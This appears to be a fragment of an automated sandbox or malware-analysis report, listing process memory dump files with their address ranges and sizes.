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memory/1380-149-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-151-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-153-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-155-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-157-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-159-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-161-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1676-92-0x0000000001034000-0x0000000001037000-memory.dmpFilesize
12KB
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memory/1676-93-0x000000000103B000-0x0000000001072000-memory.dmpFilesize
220KB